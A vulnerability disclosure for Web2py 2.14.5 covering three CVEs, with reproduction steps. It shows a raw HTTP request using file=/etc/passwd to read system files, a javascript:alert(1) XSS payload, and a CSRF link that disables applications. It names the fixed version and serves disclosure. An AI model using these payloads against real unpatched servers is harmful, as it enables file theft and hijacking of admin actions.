Web2py 2.14.5 CSRF / XSS / Local File Inclusion
Posted on 17 May 2016
Title - Web2py 2.14.5 Multiple Vulnerabilities LFI,XSS,CSRF # Exploit Title : Web2py 2.14.5 Multiple Vulnerabilities LFI, XSS,CSRF # Reported Date : 2-April-2016 # Fixed Date : 4-April-2016 # Exploit Author : Narendra Bhati - https://www.exploit-db.com/author/?a=7638 # CVE ID : LFI - CVE-2016-4806 , Reflected XSS - CVE-2016-4807 , CSRF - CVE-2016-4808 # Tested On : MAC OS X EI Capitan, Windows 7 64 Bit, Most Linux Platforms. # Fix/Patching : Update To Web2py. 2.14.6 # Facebook : https://facebook.com/iambhati # Twitter : http://twitter.com/NarendraBhatiB # Detailed POC: http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/ ============================================== LFI(Local File Inclusion): CVE-2016-4806 POST URI - /admin/default/pack_custom/[applicationmame] Vulnerable Parameter = file Exploit - file=/etc/passwd Authentication Required = Yes(Administrator) Steps To Reproduction 1) HTTP Request POST /admin/default/pack_custom/[applicationname] HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:8000/admin/default/pack_custom/dasdasdasdad Cookie: session_id_welcome=asdadasdasdasdasd; session_id_admin=asdasdasdasdasd Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 3213 file=/etc/passwd 2) After sending this request, Application will prompt you with a file to download as an extension of "w2p". 3) Now we have to unpack this downloaded file using. https://github.com/pigeonflight/web2py-unpacker I.e. Command for unpacking w2p file python web2py-unpacker.py downloadfile.w2p 4) This command will create a folder called "unpack", In this folder there will be an another folder of the application of web2py. In this folder you will found the etc folder, Then into this folder you will get the passwd file. Video POC - https://www.youtube.com/watch?v=paCvmHgomP4 Full Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/ ======================================================================== Reflected XSS(Cross Site Scripting) : CVE-2016-4807 GET URI - http://127.0.0.1:8000/admin/default/install_plugin/dasdasdasdad?plugin=math2py&source=anyurl Vulnerable Parameter - source Exploit - http://127.0.0.1:8000/admin/default/install_plugin/[applicationname]?plugin=math2py&source=javascript:alert(1) Authentication Required - Yes(Administrator) Steps To Reproduction 1) Go to this URL - http://127.0.0.1:8000/admin/default/install_plugin/[applicationname]?plugin=math2py&source=javascript:alert(1) 2) The parameter "source" value will get reflected on the page on "Here" button. 3) When you will click on that button "Here" XSS payload will get executed. Video POC - https://www.youtube.com/watch?v=4j9hXJtVNbk Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/ ============================================================================ CSRF(Cross Site Request Forgery): CVE-2016-4808 GET URI - http://127.0.0.1:8000/admin/default/enable/[applicationname] Exploit - http://127.0.0.1:8000/admin/default/enable/[applicationname] Authenticated Required - Yes(Administrator) Steps To Reproduction 1) Suppose we have an application in web2py called "testingapp" 2) An attacker can trick an victim to disable the installed application just By sending this URL to victim - http://127.0.0.1:8000/admin/default/enable/testingapp Video POC - https://www.youtube.com/watch?v=d4V8qlNrYtk Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/
